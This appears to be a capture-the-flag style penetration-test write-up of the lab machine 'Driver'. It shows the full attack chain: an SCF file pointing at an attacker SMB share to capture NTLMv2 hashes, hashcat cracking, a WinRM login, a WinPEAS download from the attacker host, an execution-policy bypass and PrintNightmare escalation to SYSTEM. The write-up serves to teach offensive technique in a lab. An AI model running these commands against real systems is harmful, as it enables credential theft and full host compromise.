

Penetration Testing Report – Driver Machine (PrintNightmare Exploitation)

Introduction

This report documents the complete walkthrough and exploitation process performed against the target Windows machine named “Driver.” The objective of this assessment was to enumerate the target, identify vulnerabilities, obtain initial access, escalate privileges, and achieve SYSTEM-level access.

During the assessment, multiple security weaknesses were identified, including:

- SMB signing disabled
- Exposure of internal firmware upload functionality
- NTLM hash capture through malicious SCF file upload
- Weak password security
- Privilege escalation using the PrintNightmare vulnerability (CVE-2021-1675 / CVE-2021-34527)

The walkthrough demonstrates how a low-privileged foothold can eventually lead to full SYSTEM compromise.

Target Information

Target IP	10.129.31.208
Hostname	DRIVER
Operating System	Windows
Services Identified	HTTP, SMB, WinRM

Step 1 – Initial Enumeration

The first step involved scanning the target using Nmap.

Command used:

```
nmap -sC -sV 10.129.31.208
```

Nmap Findings

The following ports were discovered:

Port	Service	Description
80	HTTP	Microsoft IIS 10.0
135	MSRPC	Windows RPC
445	SMB	Microsoft-DS
5985	WinRM	Windows Remote Management

Important observations:

- SMB signing was disabled
- HTTP Basic Authentication was enabled
- The web portal appeared to be a firmware upload center
- WinRM was exposed externally

One particularly important finding was:

message_signing: disabled

This indicated that SMB signing was not enforced, which can enable NTLM relay attacks and credential interception.

Step 2 – Web Enumeration

Accessing the HTTP service revealed a login portal titled:

MFP Firmware Update Center

The application used HTTP Basic Authentication.

The firmware portal appeared to allow users to upload firmware files which were then reviewed manually by the internal team.

This behavior became the key attack vector.

Step 3 – Understanding the Vulnerability in the Upload Process

The firmware files uploaded to the portal were stored on an SMB share and reviewed manually using Windows Explorer.

This introduced a dangerous attack opportunity.

Since Windows Explorer automatically processes certain file types such as .scf files, an attacker could upload a malicious SCF file designed to force the victim machine to authenticate to an attacker-controlled SMB server.

Step 4 – Creating the Malicious SCF File

The attacker created the following SCF file:

```
[Shell]
Command=2
IconFile=\\10.10.15.213\tools\nc.ico
[Taskbar]
Command=ToggleDesktop

IconFile=\\10.10.15.213\tools\nc.ico
```

This instructs Windows Explorer to retrieve an icon from a remote SMB share hosted on the attacker machine.

When the internal reviewer browses the upload directory:

1. Windows Explorer reads the SCF file
 2. Windows attempts to retrieve the remote icon
 3. The victim machine connects to the attacker SMB share
 4. NTLM authentication occurs automatically
 5. The attacker captures the NTLMv2 hash
-

Step 5 – Hosting the SMB Share

The attacker machine hosted an SMB share named tools.

Commands used:

```
mkdir tools
cd tools
touch nc.ico
```

The SMB server was started using:

```
impacket-smbserver tools .
```

This created the SMB path:

Step 6 – Capturing the NTLMv2 Hash

Once the reviewer accessed the uploaded SCF file, the victim machine attempted to authenticate to the attacker-controlled SMB server.

Responder captured the following NTLMv2 hash:

TONY::DRIVER:7338af79d7e60f15:A5BC1DE0AD5B60A6206716BFB3430899:0101000000000000...

This confirmed successful credential interception.

Step 7 – Cracking the Hash

The captured hash was saved into a file named:

hash.txt

The following Hashcat command was used:

```
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
```

Hashcat Mode

The mode used:

5600

corresponds to:

NetNTLMv2

Alternatively, John the Ripper could be used:

```
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

After password recovery, valid credentials for the user **tony** were obtained.

Step 8 – Gaining Initial Access Through WinRM

Since WinRM was exposed on port 5985, the recovered credentials were used to gain remote shell access.

Command used:

```
evil-winrm -i 10.129.31.208 -u tony -p <liltony>
```

Successful authentication provided a PowerShell session on the target machine.

Step 9 – Enumeration After Initial Access

After obtaining shell access, enumeration was performed.

Important checks included:

- Running processes
- Installed applications
- Privileges
- Services
- Vulnerable software

The user account **tony** was identified as a low-privileged user.

WinPEAS was uploaded for automated privilege escalation enumeration.

Step 10 – Transferring WinPEAS

The attacker hosted WinPEAS using a Python HTTP server.

Commands on Kali:

```
cd /usr/share/peass/winpeas  
python3 -m http.server 6000
```

On the target:

```
Invoke-WebRequest "http://10.10.15.213:6000/winPEASx64.exe" -OutFile winpeas.exe
```

Execution:

.\winpeas.exe

WinPEAS identified the Print Spooler service running and potentially vulnerable.

Step 11 – Identifying the PrintNightmare Vulnerability

The Windows Print Spooler service was vulnerable to:

CVE-2021-1675

and related vulnerability:

CVE-2021-34527

commonly known as:

PrintNightmare

About PrintNightmare

PrintNightmare is a critical Windows Print Spooler vulnerability that allows attackers to:

- Execute arbitrary code
- Escalate privileges
- Gain SYSTEM access

The vulnerability exists because the Print Spooler service improperly handles printer driver installation.

Attackers can abuse this functionality to load malicious DLL files.

Step 12 – Uploading the Exploit

The exploit script and malicious DLL were uploaded to the target machine.

However, PowerShell execution policies initially blocked the script.

Error received:

running scripts is disabled on this system

The restriction was bypassed using:

Set-ExecutionPolicy Bypass -Scope Process

The exploit module was then imported successfully:

Import-Module .\CVE-2021-1675.ps1

Step 13 – Exploiting PrintNightmare

The exploit abused the Print Spooler service to load a malicious DLL.

The attack flow:

1. Exploit communicates with Print Spooler
2. Malicious printer driver is installed
3. Malicious DLL is loaded by spoolsv.exe
4. DLL executes with SYSTEM privileges
5. Attacker obtains elevated access

This resulted in successful privilege escalation.

Step 14 – Obtaining SYSTEM Access

After exploitation, a SYSTEM-level shell was achieved.

Verification:

whoami

Output:

nt authority\system

At this stage, full administrative control of the machine was obtained.

Vulnerabilities Identified

Vulnerability	Severity	Description
SMB Signing Disabled	Medium	Allows NTLM relay attacks
Unsafe File Review Process	High	SCF file execution enabled NTLM capture
Weak Credential Security	High	Password susceptible to cracking
PrintNightmare (CVE-2021-1675)	Critical	Allowed SYSTEM privilege escalation
Exposed WinRM	Medium	Enabled remote shell access with credentials

Conclusion

This walkthrough demonstrated how multiple small security weaknesses can combine into a full system compromise.

The attack began with simple enumeration and evolved into:

1. NTLM hash capture using an SCF file
2. Credential recovery
3. Remote access through WinRM
4. Privilege escalation using PrintNightmare
5. Full SYSTEM compromise

The assessment highlights the importance of:

- secure file handling,
- proper SMB configuration,
- strong password policies,
- patch management,
- and minimizing unnecessary services.

The PrintNightmare vulnerability remains one of the most impactful Windows privilege escalation vulnerabilities due to its ability to provide attackers with complete control over vulnerable systems.

PrintNightmare

PrintNightmare is a critical Windows privilege escalation and remote code execution vulnerability in the Windows Print Spooler service. An attacker with low privileges can exploit this by forcing the Print Spooler service to load a malicious DLL disguised as a printer driver. Since the Print Spooler runs with SYSTEM privileges, the malicious DLL also executes as SYSTEM, allowing the attacker to gain full control over the machine.

Dynamic Link Library

It is a file used by Windows applications to store reusable code, functions, and resources.